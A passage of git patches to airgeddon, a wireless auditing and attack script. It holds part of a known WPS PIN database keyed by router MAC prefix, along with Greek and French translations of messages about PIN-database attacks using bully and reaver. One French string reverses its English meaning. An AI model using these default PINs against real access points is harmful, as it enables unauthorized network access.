38517804 55573532 25811612 28233275 58565704 22547121 40371211" + PINDB["8CA982"]="18625790" + PINDB["8CCA32"]="71259987" + PINDB["8COC22"]="22263896" + PINDB["90E6BA"]="17035419" + PINDB["90F652"]="95817149 20917784 56738209 59820000 31315036 65723081 85438996 87883282 26555898 01715224 31581431 61296879 15094148 26412948 91090430 31718851 51979850 56339420 59955467 78110830 91191229 23619128 44538811 64836157 76556098 09834811 44938161 12345670 51161484 70231540 80335092 94966503 96932407" + PINDB["940C6D"]="06292379" + PINDB["944452"]="15310828 29874590 08318725 17579957 26023809 93645348 08983954 88154473 73532866 40011851" + PINDB["94FEF4"]="43944552" + PINDB["988B5D"]="12345670" + PINDB["98FC11"]="21421112" + PINDB["A00BBA"]="00000000" + PINDB["A02187"]="92442559" + PINDB["A021B7"]="39149138 41252147 80324560 82581507 25815078 22813503 11352464 47624313 92442559 81121496 43454044 86559256 33440279 15880208 53134424 72218013 01874341 43135479 51920104 26515274 84361455 71202358 12345679" + PINDB["A4526F"]="16538061 16702738 18355604 43297917 73767053 88202907 43297917 19756967 13409708" + PINDB["A4B1E9"]="75090753" + PINDB["ACE87B"]="77502896" + PINDB["B0487A"]="61116597 53171801 65822234 31400206 06465179 18668872 22637307 40176451 37493691 57739601 40184708 40166148 37505073 61116597 37494506 37494063 37489014 37496081 37494650 37490034 54335677" + PINDB["B4749F"]="23659391" + PINDB["B89BCB"]="41613849" + PINDB["B8A386"]="60973375 20172527 19217581" + PINDB["BC7670"]="59515135" + PINDB["BCF685"]="48782265" + PINDB["BF06F4"]="20607470" + PINDB["C03F0E"]="25032918 45445402 49945386 41138571 13250003 09302525 14516894 83143632 63247435" + PINDB["C0AC54"]="12345670" + PINDB["C0C1C0"]="78985933 04840954 96405628 63797435 27905814" + PINDB["C43DC7"]="82234515 63753349" + PINDB["C83A35"]="28818885 01756401 11195207 11203124 11210085 11214809 11215042 11213840 11194569 11195764 11214885 11216643 05365852 48343763" + PINDB["C86000"]="46264848" + PINDB["C8D3A3"]="21464065 20172527 17084215 12345670" + PINDB["C8D5FE"]="12345678" + PINDB["CC5D4E"]="51565220 48919586 52755248" + PINDB["CC96A0"]="51191535" + PINDB["CCB255"]="97354833" + PINDB["D0AEEC"]="12263813 36831678 43419012 46275288 49570724 58441640 67791088 76871559 63220926 23970472 04325093 35041054 31433273 97855996 11248729 52217388 59432265 77485625 06235307 78597235" + PINDB["D0D412"]="16538061 16702738 18355604 88202907 73767053 43297917 19756967 13409708" + PINDB["D85D4C"]="73448907" + PINDB["DC0B1A"]="19756967 73767053 16702738 16538061 88202907 18355604 13409708 21158766 43297917" + PINDB["E0469A"]="30022645 19004938 75401139 47386914" + PINDB["E08FEC"]="00235211" + PINDB["E09115"]="42764199" + PINDB["E091F5"]="37380342 82234577 49945386" + PINDB["E0CB4E"]="62987523" + PINDB["E24136"]="89817841" + PINDB["E4C146"]="71537573" + PINDB["E840F2"]="12345670" + PINDB["EC1A59"]="19366838" + PINDB["F07D68"]="01290141 00927659" + PINDB["F43E61"]="12345670 47158382 69382161" + PINDB["F4C714"]="79072205" + PINDB["F4EC38"]="26599625 32066968 05181667 99195038 18674095 48555524 12345678 25933291 48291477 45266065 66683407 82188184 86697934 11542216 62887485 91726681 41185315 96781593 09165847 04898702 42768777 23380622 67971862 11288879 03419724 72344071 19634173 95048147 51660567 52594809 82853600 05884889 44947477 44762810 25575583 85091153 75913038 50413812" + PINDB["F59B36"]="60960542" + PINDB["F80FD9"]="12345670" + PINDB["F81BFA"]="12345670" + PINDB["F83DFF"]="25905892" + PINDB["F86394"]="12345670" + PINDB["F88E85"]="49385052" + PINDB["F8D111"]="41441282 93834186 93802598 46337443 81315697 11801962 48155113 23229006" + PINDB["F8ED80"]="12345670" + PINDB["F8F111"]="71031811 11212256 46518408 08114419" + PINDB["FCF528"]="20329761" +} + +set_pin_database diff --git a/pindb_checksum.txt b/pindb_checksum.txt new file mode 100644 index 000000000..5eadeaa76 --- /dev/null +++ b/pindb_checksum.txt @@ -0,0 +1 @@ +7ebcb4e24c0ad34756ee7b0a6ee96fe7 \ No newline at end of file From b32a99bd07873013b37f94d5df34cfce207a4455 Mon Sep 17 00:00:00 2001 From: xtonousou Date: Tue, 6 Dec 2016 14:56:19 +0200 Subject: [PATCH 10/25] Updated Greek translations and corrected previous ones, added compatible Arch Linux version --- README.md | 2 +- airgeddon.sh | 40 ++++++++++++++++++++-------------------- 2 files changed, 21 insertions(+), 21 deletions(-) diff --git a/README.md b/README.md index 921ff5b33..b2bcc47ad 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,7 @@ Tested on these compatible Linux distros:
*-Gentoo 20160514 and 20160704*
*-Fedora 24*
*-Red Hat 7 (Maipo)*
-*-Arch 4.6.2-1, 4.7.5-1, 4.8.4-1, 4.8.6-1, 4.8.8-2 and 4.8.10-1*
+*-Arch 4.6.2-1, 4.7.5-1, 4.8.4-1, 4.8.6-1, 4.8.8-2, 4.8.10-1 and 4.8.11-1*
*-Raspbian 7 (Wheezy) and 8 (Jessie) (Raspberry Pi)*
*-OpenMandriva LX3*

diff --git a/airgeddon.sh b/airgeddon.sh index 1d0f0d604..624081cda 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3280,7 +3280,7 @@ function language_strings() { arr["CATALAN",348]="11. (bully) Atac basat en base de dades de PINs coneguts" arr["PORTUGUESE",348]="11. (bully) Ataque com base em banco de dados de PINs conhecidos" arr["RUSSIAN",348]="11. (bully) Атака на основе базы данных известных PIN" - arr["GREEK",348]="11. (bully) Επίθεση με χρήση γνωστής βάσης δεδομένων PIN" + arr["GREEK",348]="11. (bully) Επίθεση με χρήση βάσης δεδομένων γνωστών PIN" arr["ENGLISH",349]=" N. BSSID CHANNEL PWR LOCKED ESSID" arr["SPANISH",349]=" N. BSSID CANAL PWR LOCKED ESSID" @@ -3376,7 +3376,7 @@ function language_strings() { arr["CATALAN",360]="12. (reaver) Atac basat en base de dades de PINs coneguts" arr["PORTUGUESE",360]="12. (reaver) Ataque com base em banco de dados de PINs conhecidos" arr["RUSSIAN",360]="12. (reaver) Атака на основе базы данных известных PIN" - arr["GREEK",360]="12. (reaver) Επίθεση με χρήση γνωστής βάσης δεδομένων PIN" + arr["GREEK",360]="12. (reaver) Επίθεση με χρήση βάσης δεδομένων γνωστών PIN" arr["ENGLISH",361]="13. Return to main menu" arr["SPANISH",361]="13. Volver al menú principal" @@ -3472,7 +3472,7 @@ function language_strings() { arr["CATALAN",372]="${pending_of_translation} Sense fitxer de base de dades de PINs coneguts no es pot realitzar aquest atac" arr["PORTUGUESE",372]="${pending_of_translation} Nenhum banco de dados arquivo de PINs conhecidos não pode executar este ataque" arr["RUSSIAN",372]="${pending_of_translation} Эта атака не может быть выполнена без файла базы данных известных PINs" - arr["GREEK",372]="${pending_of_translation} Η επίθεση αυτή δεν μπορεί να πραγματοποιηθεί χωρίς να είναι γνωστό τα PINs αρχείου βάσης δεδομένων" + arr["GREEK",372]="Η επίθεση αυτή δεν μπορεί να πραγματοποιηθεί χωρίς το αρχείο με την βάση δεδομένων γνωστών PIN" arr["ENGLISH",373]="The known PINs database file exists. Script can continue..." arr["SPANISH",373]="Existe el fichero de base de datos de PINs conocidos. El script puede continuar..." @@ -3480,7 +3480,7 @@ function language_strings() { arr["CATALAN",373]="${pending_of_translation} Hi ha el fitxer de base de dades de PINs coneguts. El script pot continuar..." arr["PORTUGUESE",373]="${pending_of_translation} Há um banco de dados de arquivo de PINs conhecido. O script pode continuar..." arr["RUSSIAN",373]="${pending_of_translation} Известный файл базы данных PINs существует. Скрипт может продолжать..." - arr["GREEK",373]="${pending_of_translation} υπάρχει το γνωστό αρχείο κωδικών PINs της βάσης δεδομένων. Το script μπορεί να συνεχίσει..." + arr["GREEK",373]="Το αρχείο με την βάση δεδομένων γνωστών PIN υπάρχει. Το script μπορεί να συνεχίσει..." arr["ENGLISH",374]="Local PINs database file (${known_pins_dbfile}) can't be found in the script folder. It will be attempted to download" arr["SPANISH",374]="No se ha podido encontrar el fichero local de la base de datos de PINs (${known_pins_dbfile}) en la carpeta del script. Se intentará descargar" @@ -3488,7 +3488,7 @@ function language_strings() { arr["CATALAN",374]="${pending_of_translation} No s'ha pogut trobar el fitxer local de la base de dades de PINs (${known_pins_dbfile}) a la carpeta del script. S'intentarà descarregar" arr["PORTUGUESE",374]="${pending_of_translation} Não foi possível localizar o banco de dados local de PINs (${known_pins_dbfile}) na pasta de script de arquivo. Ele tentará baixar" arr["RUSSIAN",374]="${pending_of_translation} Локальный файл базы данных PINs (${known_pins_dbfile}) не может быть найден в папке скрипта. Будет предпринята попытка загрузить" - arr["GREEK",374]="${pending_of_translation} Τοπικό αρχείο κωδικών PIN της βάσης δεδομένων (${known_pins_dbfile}) δεν μπορεί να βρεθεί στο φάκελο σενάριο. Θα προσπαθήσει να κατεβάσετε" + arr["GREEK",374]="Το αρχείο με την βάση δεδομένων PIN (${known_pins_dbfile}) δεν βρέθηκε στο φάκελο με το script. Θα προσπαθήσει να κατέβει" arr["ENGLISH",375]="It seems you have no internet access" arr["SPANISH",375]="Parece que no tienes conexión a internet" @@ -3504,7 +3504,7 @@ function language_strings() { arr["CATALAN",376]="${pending_of_translation} S'ha trobat un fitxer local de base de dades de PINs (${known_pins_dbfile}). No obstant això es va a comprovar si hi ha un més actualitza" arr["PORTUGUESE",376]="${pending_of_translation} Constatou-se um banco de dados local de arquivo de PINs (${known_pins_dbfile}). No entanto, ele verificará se existe uma mais actualizada" arr["RUSSIAN",376]="${pending_of_translation} Локальный файл базы данных PINs (${known_pins_dbfile}) был найден. В любом случае будет выполнена проверка на более новый" - arr["GREEK",376]="${pending_of_translation} Τοπικό αρχείο κωδικών PIN της βάσης δεδομένων (${known_pins_dbfile}) βρέθηκε. Τέλος πάντων μια επιταγή για ένα νεότερο θα πραγματοποιηθεί" + arr["GREEK",376]="Το αρχείο με την βάση δεδομένων PIN (${known_pins_dbfile}) βρέθηκε. Παρ'όλα αυτά θα πραγματοποιηθεί έλεγχος για νεότερη έκδοση" arr["ENGLISH",377]="A more up-to-date PINs database file has been successfully downloaded" arr["SPANISH",377]="Se ha descargado con éxito un fichero de base de datos de PINs más actualizado" @@ -3512,7 +3512,7 @@ function language_strings() { arr["CATALAN",377]="${pending_of_translation} S'ha descarregat amb èxit un fitxer de base de dades de PINs més actualitzat" arr["PORTUGUESE",377]="${pending_of_translation} Ele foi baixado com sucesso um banco de dados de PINs mais atualizados arquivo" arr["RUSSIAN",377]="${pending_of_translation} Файл базы данных более последнюю дату PINs была успешно загружена" - arr["GREEK",377]="${pending_of_translation} Ένα αρχείο πιο up-to-ημερομηνία των PINs της βάσης δεδομένων έχει κατεβάσει με επιτυχία" + arr["GREEK",377]="Ένα ενημερωμένο αρχείο με την βάση δεδομένων PIN έχει κατέβει με επιτυχία" arr["ENGLISH",378]="An error occurred while trying to download the PINs database file" arr["SPANISH",378]="Ocurrió un error al intentar descargar el fichero de base de datos de PINs" @@ -3520,7 +3520,7 @@ function language_strings() { arr["CATALAN",378]="${pending_of_translation} S'ha produït un error en intentar descarregar el fitxer de base de dades de PINs" arr["PORTUGUESE",378]="${pending_of_translation} Ocorreu um erro ao tentar baixar os PINs de banco de dados de arquivo" arr["RUSSIAN",378]="${pending_of_translation} Произошла ошибка при попытке загрузить файл базы данных PINs" - arr["GREEK",378]="${pending_of_translation} Παρουσιάστηκε σφάλμα κατά την προσπάθεια να κατεβάσετε το αρχείο κωδικών PINs της βάσης δεδομένων" + arr["GREEK",378]="Παρουσιάστηκε σφάλμα στην προσπάθεια να κατέβει το αρχείο με την βάση δεδομένων PIN" arr["ENGLISH",379]="Check of the PINs database file has already been done. It will not be done again..." arr["SPANISH",379]="El chequeo del fichero de base de datos de PINs ya se hizo. No se realizará de nuevo..." @@ -3528,7 +3528,7 @@ function language_strings() { arr["CATALAN",379]="${pending_of_translation} La revisió del fitxer de base de dades de PINs ja es va fer. No es realitzarà de nou..." arr["PORTUGUESE",379]="${pending_of_translation} Verificando os PINs de banco de dados arquivo já feito. Ele não vai fazer de novo..." arr["RUSSIAN",379]="${pending_of_translation} Проверка файла базы данных PINs уже сделано. Это не будет сделано еще раз..." - arr["GREEK",379]="${pending_of_translation} Έλεγχος του αρχείου κωδικών PINs της βάσης δεδομένων έχει ήδη γίνει. Δεν θα πρέπει να γίνει και πάλι..." + arr["GREEK",379]="Έχει γίνει ήδη έλεγχος του αρχείου με την βάση δεδομένων PIN. Δεν θα ξαναελεγχθεί..." arr["ENGLISH",380]="Do you want to try again next time you launch this attack for this session? ${normal_color}[y/n]" arr["SPANISH",380]="¿Deseas que la próxima vez que lances este ataque en esta sesión se vuelva a intentar? ${normal_color}[y/n]" @@ -3536,7 +3536,7 @@ function language_strings() { arr["CATALAN",380]="${pending_of_translation} ¿Vols que la propera vegada que llancis aquest atac en aquesta sessió es torni a intentar? ${normal_color}[y/n]" arr["PORTUGUESE",380]="${pending_of_translation} Você quer que a próxima vez que você lançar este ataque nesta nova tentativa sessão? ${normal_color}[y/n]" arr["RUSSIAN",380]="${pending_of_translation} Вы хотите, чтобы попробовать снова в следующий раз, когда вы запустите эту атаку для этого сеанса? ${normal_color}[y/n]" - arr["GREEK",380]="${pending_of_translation} Θέλετε να δοκιμάσετε ξανά την επόμενη φορά που θα ξεκινήσει αυτή την επίθεση για τη σύνοδο αυτή; ${normal_color}[y/n]" + arr["GREEK",380]="Θέλετε να δοκιμάσετε ξανά την επόμενη φορά που θα ξεκινήσει αυτή η επίθεση για αυτή την συνεδρία; ${normal_color}[y/n]" arr["ENGLISH",381]="An error occurred while trying to access to the checksum file of remote PINs database" arr["SPANISH",381]="Ocurrió un error al intentar acceder al fichero de checksum de la base de datos de PINs remota" @@ -3544,7 +3544,7 @@ function language_strings() { arr["CATALAN",381]="${pending_of_translation} S'ha produït un error en intentar accedir al fitxer de checksum de la base de dades de PINs remota" arr["PORTUGUESE",381]="${pending_of_translation} Ocorreu um erro ao tentar acessar o banco de dados arquivo de checksum de PINs remotos" arr["RUSSIAN",381]="${pending_of_translation} Произошла ошибка при попытке получить доступ к контрольной суммы файла удаленной базы данных PINs" - arr["GREEK",381]="${pending_of_translation} Παρουσιάστηκε σφάλμα κατά την προσπάθεια πρόσβασης στο αρχείο checksum του απομακρυσμένη βάση δεδομένων κωδικών PINs" + arr["GREEK",381]="Παρουσιάστηκε σφάλμα στην προσπάθεια πρόσβασης στο αρχείο checksum της απομακρυσμένης βάσης δεδομένων PIN" arr["ENGLISH",382]="Checksums of the local and remote files match. Your PINs database file is up-to-date" arr["SPANISH",382]="Los checksum de los ficheros local y remoto coinciden. Tu fichero de base de datos de PINs está actualizado" @@ -3552,7 +3552,7 @@ function language_strings() { arr["CATALAN",382]="${pending_of_translation} Els checksum dels fitxers local i remot coincideixen. El teu fitxer de base de dades de PINs està actualitzat" arr["PORTUGUESE",382]="${pending_of_translation} As somas de verificação dos arquivos locais e remotos corresponder. Seu banco de dados arquivo é atualizado PINs" arr["RUSSIAN",382]="${pending_of_translation} Контрольные суммы локальных и удаленных файлов совпадают. Ваш файл базы данных обновляется PINs" - arr["GREEK",382]="${pending_of_translation} Αθροίσματα ελέγχου των τοπικών και απομακρυσμένων αρχείων ταιριάζουν. Το αρχείο κωδικών PINs της βάσης δεδομένων είναι up-to-ημερομηνία" + arr["GREEK",382]="Τα checksums των τοπικών και των απομακρυσμένων αρχείων ταιριάζουν. Το αρχείο με την βάση δεδομένων PIN είναι ενημερωμένο" arr["ENGLISH",383]="It seems there is a more up-to-date PINs database file. It will be downloaded..." arr["SPANISH",383]="Parece que hay un fichero de base de datos de PINs más actualizado. Será descargado..." @@ -3560,7 +3560,7 @@ function language_strings() { arr["CATALAN",383]="${pending_of_translation} Sembla que hi ha un fitxer de base de dades de PINs més actualitzat. Serà descarregat..." arr["PORTUGUESE",383]="${pending_of_translation} Parece que há um banco de dados de arquivo PINs mais frescos. Ele será baixado..." arr["RUSSIAN",383]="${pending_of_translation} Кажется, есть файл базы данных PINs более последнюю дату. Он будет загружен..." - arr["GREEK",383]="${pending_of_translation} Φαίνεται ότι υπάρχει ένα αρχείο κωδικών PINs της βάσης δεδομένων πιο up-to-ημερομηνία. Θα κατέβει..." + arr["GREEK",383]="Φαίνεται πως υπάρχει ένα νεότερο αρχείο με την βάση δεδομένων PIN. Θα κατέβει..." arr["ENGLISH",384]="Searching in PINs database. Please be patient..." arr["SPANISH",384]="Buscando en la base de datos de PINs. Por favor ten paciencia..." @@ -3568,7 +3568,7 @@ function language_strings() { arr["CATALAN",384]="${pending_of_translation} Buscant a la base de dades de PINs. Si us plau té paciència..." arr["PORTUGUESE",384]="${pending_of_translation} Pesquisando os PINs de banco de dados. Por favor, seja paciente..." arr["RUSSIAN",384]="${pending_of_translation} Поиск в базе данных PINs. Додождите немного..." - arr["GREEK",384]="${pending_of_translation} Ψάχνοντας στη βάση δεδομένων κωδικών PINs. Παρακαλώ κάντε υπομονή..." + arr["GREEK",384]="Γίνεται αναζήτηση στην βάση δεδομένων PIN. Παρακαλώ έχετε λίγη υπομονή..." arr["ENGLISH",385]="Only one match found in the PINs database" arr["SPANISH",385]="Se ha encontrado sólo una coincidencia en la base de datos de PINs" @@ -3576,7 +3576,7 @@ function language_strings() { arr["CATALAN",385]="${pending_of_translation} S'ha trobat només una coincidència a la base de dades de PINs" arr["PORTUGUESE",385]="${pending_of_translation} Só encontrei um jogo nas PINs de banco de dados" arr["RUSSIAN",385]="${pending_of_translation} Только один матч найден в базе данных PINs" - arr["GREEK",385]="${pending_of_translation} Μόνο ένας αγώνας που βρέθηκαν στη βάση δεδομένων κωδικών PINs" + arr["GREEK",385]="Μόνο ένα αντίστοιχο PIN βρέθηκε στην βάση δεδομένων" arr["ENGLISH",386]="${counter_pins_found} matching PINs have been found in the PINs database" arr["SPANISH",386]="Se han encontrado ${counter_pins_found} PINs coincidentes en la base de datos de PINs" @@ -3584,7 +3584,7 @@ function language_strings() { arr["CATALAN",386]="${pending_of_translation} S'han trobat ${counter_pins_found} PINs coincidents a la base de dades de PINs" arr["PORTUGUESE",386]="${pending_of_translation} Encontrados ${counter_pins_found} PINs correspondentes nas PINs de banco de dados" arr["RUSSIAN",386]="${pending_of_translation} ${counter_pins_found} соответствие ПИНы были найдены в базе данных PINs" - arr["GREEK",386]="${pending_of_translation} ${counter_pins_found} ταιριάζουν τα PINs έχουν βρεθεί στη βάση δεδομένων κωδικών PINs" + arr["GREEK",386]="${counter_pins_found} αντίστοιχα PINs βρέθηκαν στην βάση δεδομένων" arr["ENGLISH",387]="No matches found in the PINs database" arr["SPANISH",387]="No se ha encontrado ninguna coincidencia en la base de datos de PINs" @@ -3592,7 +3592,7 @@ function language_strings() { arr["CATALAN",387]="${pending_of_translation} No s'ha trobat cap coincidència a la base de dades de PINs" arr["PORTUGUESE",387]="${pending_of_translation} Nada encontrado nenhum fósforo nas PINs de banco de dados" arr["RUSSIAN",387]="${pending_of_translation} Нет совпадений найдено в базе данных PINs" - arr["GREEK",387]="${pending_of_translation} Δεν βρέθηκαν στη βάση δεδομένων κωδικών PINs αγώνες" + arr["GREEK",387]="Δε βρέθηκε αντίστοιχο PIN στην βάση δεδομένων" arr["ENGLISH",388]="Calculating and adding possible PINs using common known algorithms..." arr["SPANISH",388]="Calculando y añadiendo posibles PINs usando algoritmos conocidos comunes..." @@ -3600,7 +3600,7 @@ function language_strings() { arr["CATALAN",388]="${pending_of_translation} Calculant i afegint possibles PINs usant algoritmes coneguts comuns..." arr["PORTUGUESE",388]="${pending_of_translation} Cálculo e adicionando possíveis PINs usando algoritmos conhecidos comuns..." arr["RUSSIAN",388]="${pending_of_translation} Вычисление и добавление возможных PINs с использованием обычных известных алгоритмов..." - arr["GREEK",388]="${pending_of_translation} Υπολογισμού και προσθέτοντας το δυνατόν τα PINs χρήση κοινών γνωστών αλγορίθμων..." + arr["GREEK",388]="Γίνεται υπολογισμός πιθανών PINs και πρόσθεση αυτών κάνοντας χρήση κοινών γνωστών αλγορίθμων..." arr["ENGLISH",389]="PINs calculated by algorithms have been added. The attack will be launched with a total of ${counter_pins_found} PINs" arr["SPANISH",389]="Se han añadido PINs calculados por los algoritmos. El ataque se lanzará con un total de ${counter_pins_found} PINs" @@ -3608,7 +3608,7 @@ function language_strings() { arr["CATALAN",389]="${pending_of_translation} S'han afegit PINs calculats pels algoritmes. L'atac es llançarà amb un total de ${counter_pins_found} PINs" arr["PORTUGUESE",389]="${pending_of_translation} Eles foram adicionados PINs calculados por algoritmos. O ataque será lançado com um total de ${counter_pins_found} PINs" arr["RUSSIAN",389]="${pending_of_translation} PINs, рассчитанные с помощью алгоритмов, которые были добавлены. Атака будет запущен в общей сложности ${counter_pins_found} PINs" - arr["GREEK",389]="${pending_of_translation} Οι αριθμοί PINs που υπολογίζονται από αλγόριθμους έχουν προστεθεί. Η επίθεση θα ξεκινήσει με συνολικά ${counter_pins_found} κωδικών PINs" + arr["GREEK",389]="Προστέθηκαν τα PINs που υπολογίστηκαν από τους αλγορίθμους. Η επίθεση θα ξεκινήσει με ${counter_pins_found} PINs συνολικά" arr["ENGLISH",390]="Some access points have PBC (Push Button Connect) enabled and you can't connect via WPS if you don't press the physical button on the device" arr["SPANISH",390]="Algunos puntos de acceso tienen activado PBC (Push Button Connect) y no podras conectar por WPS si no se pulsa el boton físico del mismo" @@ -3616,7 +3616,7 @@ function language_strings() { arr["CATALAN",390]="${pending_of_translation} Alguns punts d'accés tenen activat PBC (Push Button Connect) i no podràs connectar per WPS si no es prem el botó físic de la mateixa" arr["PORTUGUESE",390]="${pending_of_translation} Alguns pontos de acesso têm permitido PBC (Push Button Connect) e você não pode se conectar via WPS se o mesmo botão físico é pressionado" arr["RUSSIAN",390]="${pending_of_translation} Некоторые точки доступа имеют PBC (Push Button Connect) включен, и вы не можете подключиться через WPS, если вы не нажмете на физическую кнопку на устройстве" - arr["GREEK",390]="${pending_of_translation} Μερικά σημεία πρόσβασης έχουν PBC (Push Button Connect) είναι ενεργοποιημένη και δεν μπορείτε να συνδεθείτε μέσω WPS αν δεν πατήσετε το φυσικό κουμπί στη συσκευή" + arr["GREEK",390]="Μερικά σημεία πρόσβασης έχουν PBC (Push Button Connect) και δεν μπορείτε να συνδεθείτε μέσω WPS αν δεν πατήσετε το κουμπί αυτό στη συσκευή" case "${3}" in "yellow") From 1f4ca10f3f9032c08c4181f92a62623fd7b660e2 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 6 Dec 2016 17:14:13 +0100 Subject: [PATCH 11/25] File types updated in gitattributes file --- .gitattributes | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitattributes b/.gitattributes index b3968395e..5ad42dea7 100644 --- a/.gitattributes +++ b/.gitattributes @@ -5,6 +5,7 @@ *.txt text *.sh text *.md text +*.db text # Binary image formats *.png binary \ No newline at end of file From c69744b8d48681bd4ba0389bbcf884a2f8c958db Mon Sep 17 00:00:00 2001 From: kcdtv Date: Tue, 6 Dec 2016 18:21:07 +0100 Subject: [PATCH 12/25] Update airgeddon.sh French translation except two string: 380: Whaaaaaaat? I don't understand what it is about... i guess you speak about answering to y or no when you launch reaver against an AP that you already attacked (and with some progress in burte force, at least one PIN) 390: This i didn't translate because it doesn't seem correct technically. The fact to have or not the WPS in PIN mode activated and fully configured is independent from PBC. All routeurs have PBC and PIN modes, all clients have PIN (wifi aliance WPS spec) It is a question of configuring a PIN and activating the protocol in PIN mode or not. You may want to say "have only PBC enabled". Not very accurate but more correct, --- airgeddon.sh | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 624081cda..fb5123510 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3500,7 +3500,7 @@ function language_strings() { arr["ENGLISH",376]="Local PINs database file (${known_pins_dbfile}) was found. Anyway a check for a newer will be performed" arr["SPANISH",376]="Se ha encontrado un fichero local de base de datos de PINs (${known_pins_dbfile}). No obstante se va a comprobar si existe uno más actualizado" - arr["FRENCH",376]="${pending_of_translation} Il a trouvé une base de données de fichiers locaux de codes PINs (${known_pins_dbfile}). Cependant, il va vérifier si l'un est plus mis à jour" + arr["FRENCH",376]="Base de données PIN (${known_pins_dbfile}) présente. Recherche d’éventuelles actualisations" arr["CATALAN",376]="${pending_of_translation} S'ha trobat un fitxer local de base de dades de PINs (${known_pins_dbfile}). No obstant això es va a comprovar si hi ha un més actualitza" arr["PORTUGUESE",376]="${pending_of_translation} Constatou-se um banco de dados local de arquivo de PINs (${known_pins_dbfile}). No entanto, ele verificará se existe uma mais actualizada" arr["RUSSIAN",376]="${pending_of_translation} Локальный файл базы данных PINs (${known_pins_dbfile}) был найден. В любом случае будет выполнена проверка на более новый" @@ -3508,7 +3508,7 @@ function language_strings() { arr["ENGLISH",377]="A more up-to-date PINs database file has been successfully downloaded" arr["SPANISH",377]="Se ha descargado con éxito un fichero de base de datos de PINs más actualizado" - arr["FRENCH",377]="${pending_of_translation} Il a été téléchargé avec succès une base de données de fichiers de mises à jour plus PINs" + arr["FRENCH",377]="La base de données a été actualisée" arr["CATALAN",377]="${pending_of_translation} S'ha descarregat amb èxit un fitxer de base de dades de PINs més actualitzat" arr["PORTUGUESE",377]="${pending_of_translation} Ele foi baixado com sucesso um banco de dados de PINs mais atualizados arquivo" arr["RUSSIAN",377]="${pending_of_translation} Файл базы данных более последнюю дату PINs была успешно загружена" @@ -3516,7 +3516,7 @@ function language_strings() { arr["ENGLISH",378]="An error occurred while trying to download the PINs database file" arr["SPANISH",378]="Ocurrió un error al intentar descargar el fichero de base de datos de PINs" - arr["FRENCH",378]="${pending_of_translation} Une erreur est survenue en essayant de télécharger les codes PINs de base de données de fichiers" + arr["FRENCH",378]="Erreur lors du téléchargement de l'actualisation de la base de données" arr["CATALAN",378]="${pending_of_translation} S'ha produït un error en intentar descarregar el fitxer de base de dades de PINs" arr["PORTUGUESE",378]="${pending_of_translation} Ocorreu um erro ao tentar baixar os PINs de banco de dados de arquivo" arr["RUSSIAN",378]="${pending_of_translation} Произошла ошибка при попытке загрузить файл базы данных PINs" @@ -3524,7 +3524,7 @@ function language_strings() { arr["ENGLISH",379]="Check of the PINs database file has already been done. It will not be done again..." arr["SPANISH",379]="El chequeo del fichero de base de datos de PINs ya se hizo. No se realizará de nuevo..." - arr["FRENCH",379]="${pending_of_translation} Vérification des codes PIN de base de données de fichiers déjà fait. Il ne fera pas encore..." + arr["FRENCH",379]="La vérification de la base de données a été faite et ne sera plus relancée" arr["CATALAN",379]="${pending_of_translation} La revisió del fitxer de base de dades de PINs ja es va fer. No es realitzarà de nou..." arr["PORTUGUESE",379]="${pending_of_translation} Verificando os PINs de banco de dados arquivo já feito. Ele não vai fazer de novo..." arr["RUSSIAN",379]="${pending_of_translation} Проверка файла базы данных PINs уже сделано. Это не будет сделано еще раз..." @@ -3540,7 +3540,7 @@ function language_strings() { arr["ENGLISH",381]="An error occurred while trying to access to the checksum file of remote PINs database" arr["SPANISH",381]="Ocurrió un error al intentar acceder al fichero de checksum de la base de datos de PINs remota" - arr["FRENCH",381]="${pending_of_translation} Une erreur est survenue en essayant d'accéder à la base de données fichier de contrôle de codes PIN à distance" + arr["FRENCH",381]="Erreur de checksum avec la base de données PIN en ligne" arr["CATALAN",381]="${pending_of_translation} S'ha produït un error en intentar accedir al fitxer de checksum de la base de dades de PINs remota" arr["PORTUGUESE",381]="${pending_of_translation} Ocorreu um erro ao tentar acessar o banco de dados arquivo de checksum de PINs remotos" arr["RUSSIAN",381]="${pending_of_translation} Произошла ошибка при попытке получить доступ к контрольной суммы файла удаленной базы данных PINs" @@ -3548,7 +3548,7 @@ function language_strings() { arr["ENGLISH",382]="Checksums of the local and remote files match. Your PINs database file is up-to-date" arr["SPANISH",382]="Los checksum de los ficheros local y remoto coinciden. Tu fichero de base de datos de PINs está actualizado" - arr["FRENCH",382]="${pending_of_translation} Les checksums des fichiers locaux et distants correspondent. Votre base de données de fichier est mis à jour PINs" + arr["FRENCH",382]="Les checksums de la base de données installée et de la base de données en ligne diffèrent. Actualisation de la base de données" arr["CATALAN",382]="${pending_of_translation} Els checksum dels fitxers local i remot coincideixen. El teu fitxer de base de dades de PINs està actualitzat" arr["PORTUGUESE",382]="${pending_of_translation} As somas de verificação dos arquivos locais e remotos corresponder. Seu banco de dados arquivo é atualizado PINs" arr["RUSSIAN",382]="${pending_of_translation} Контрольные суммы локальных и удаленных файлов совпадают. Ваш файл базы данных обновляется PINs" @@ -3556,7 +3556,7 @@ function language_strings() { arr["ENGLISH",383]="It seems there is a more up-to-date PINs database file. It will be downloaded..." arr["SPANISH",383]="Parece que hay un fichero de base de datos de PINs más actualizado. Será descargado..." - arr["FRENCH",383]="${pending_of_translation} Il semble qu'il y ait une base de données de fichiers les plus frais PINs. Lancement du téléchargement..." + arr["FRENCH",383]="Une base de données PIN plus actuelle a été détectée et va être installée" arr["CATALAN",383]="${pending_of_translation} Sembla que hi ha un fitxer de base de dades de PINs més actualitzat. Serà descarregat..." arr["PORTUGUESE",383]="${pending_of_translation} Parece que há um banco de dados de arquivo PINs mais frescos. Ele será baixado..." arr["RUSSIAN",383]="${pending_of_translation} Кажется, есть файл базы данных PINs более последнюю дату. Он будет загружен..." @@ -3564,7 +3564,7 @@ function language_strings() { arr["ENGLISH",384]="Searching in PINs database. Please be patient..." arr["SPANISH",384]="Buscando en la base de datos de PINs. Por favor ten paciencia..." - arr["FRENCH",384]="${pending_of_translation} Recherche des codes PIN de base de données. Soyez patients s'il vous plaît..." + arr["FRENCH",384]="Recherche dans la base de données PIN. Ayez un peu de patience s'il vous plaît" 